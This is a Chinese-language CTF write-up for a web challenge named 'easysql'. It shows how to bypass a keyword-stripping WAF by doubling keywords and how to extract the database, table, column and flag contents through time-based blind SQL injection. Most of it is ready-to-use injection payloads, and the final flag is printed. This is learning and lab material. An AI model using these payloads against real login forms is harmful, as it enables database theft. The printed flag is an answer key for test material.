一次sql盲注實戰_easysql writeup
阿新 • • 發佈:2021-11-24
一次sql盲注實戰
前言
題目為一道ctf web滲透題。需要滲透到資料庫拿到正確flag並提交。
1.初步觀察
隨便輸入賬號密碼發現頁面回顯了一段php程式碼,看樣子是需要構造sql注入的字串繞過waf函式檢測實現sql注入。
該waf函式會將select or等關鍵詞替換成空白字元,防止sql注入。
2.檢視請求
Fiddler抓包看看網路請求,可以發現這是一個基於form表單post請求的題目
3.猜解閉合方式
構造提交引數
' oor 1=1 #
頁面正常響應,看來閉合方式不是單引號,這裡將or寫成oorr目的就是繞過waf攔截,該waf函式將or替換成"",替換完後依然是or,所以繞過攔截。
構造提交引數
" oorr 1=1 #
發現頁面內容變成了 admin 35f1eeffabbb28113be22ca2eb810d6a
嘗試用這個賬號密碼登入一下,發現一點卵用都沒有,看來沒有那麼簡單。
只能按照常規盲注手段一步一步往下走了。
4. 上Burp Suite
5.時間盲注資料庫名長度
222 " oorr if(length(database())=§len§,sleep(5),1) #
點選開始攻擊後可以看到資料庫名長度為7個字元
6.時間盲注資料庫名稱
222 " oorr if(ascii(substring(database(),§index§,1))=§value§,sleep(5),1)#
對長度進行排序後得到資料庫名是easysql
7.猜解資料庫表數量
222 " oorr if((sselectelect count(table_name) frroom infoorrmation_schema.tables wwherehere table_schema=database() )=§len§,sleep(2),1)#
得到資料庫表數量為2
7.時間盲注第一個表表名長度
得到長度為4
222 " oorr if(length(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 0,1),1))=§len§,sleep(5),1)#
8.時間盲注第二個表表名長度
得到長度為5
222 " oorr if(length(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 1,2),1))=§len§,sleep(5),1)#
9.時間盲注第一個表表名
得到表名為 flag
222 " oorr if(ascii(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 0,1),§index§,1))=§value§,sleep(5),1)#
10.時間盲注第二個表名
222 " oorr if(ascii(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 1,2),§index§,1))=§value§,sleep(5),1)#
11.時間盲注flag表字段數量
由於我們最終的結果是拿到正確的flag,猜測flag存放在flag這張表裡,所以我們接下來對flag表進行滲透。
首先猜解flag表字段數量得到欄位數量為2
222 " oorr if((sselectelect count(column_name) frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag')=§len§,sleep(5),1) #
12.時間盲注flag表第一個欄位名長度
得到長度為:2
222 " oorr if(length(substr((sselectelect column_name frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag' limit 0,1),1))=§len§,sleep(1),1)#
13.時間盲注flag表第一個欄位名稱
得到第一個欄位名為id
222 " oorr if(ascii(substr((sselectelect column_name frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag' limit 0,1),§index§,1))=§value§,sleep(1),1)#
14.時間盲注flag表第二個欄位名稱
得到第二個欄位名為flag
222 " oorr if(ascii(substr((sselectelect column_name frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag' limit 1,2),§index§,1))=§value§,sleep(1),1)#
15.時間盲注flag表記錄數
得到該表只有一條記錄
222 " oorr if((sselectelect count(*) frroom fflaglag)=§count§,sleep(3),1)#
16.時間盲注flag表flag欄位資料長度
得到flag的值長度是38位
222 " oorr if(length(substr((sselectelect fflaglag frroom fflaglag limit 0,1),1))=§len§,sleep(3),1)#
17.時間盲注flag值
flag{d7edeb1366bd99aa12d109c99267e37e}
222 " oorr if(ascii(substr((sselectelect fflaglag frroom fflaglag limit 0,1),§index§,1))=§value§,sleep(3),1)#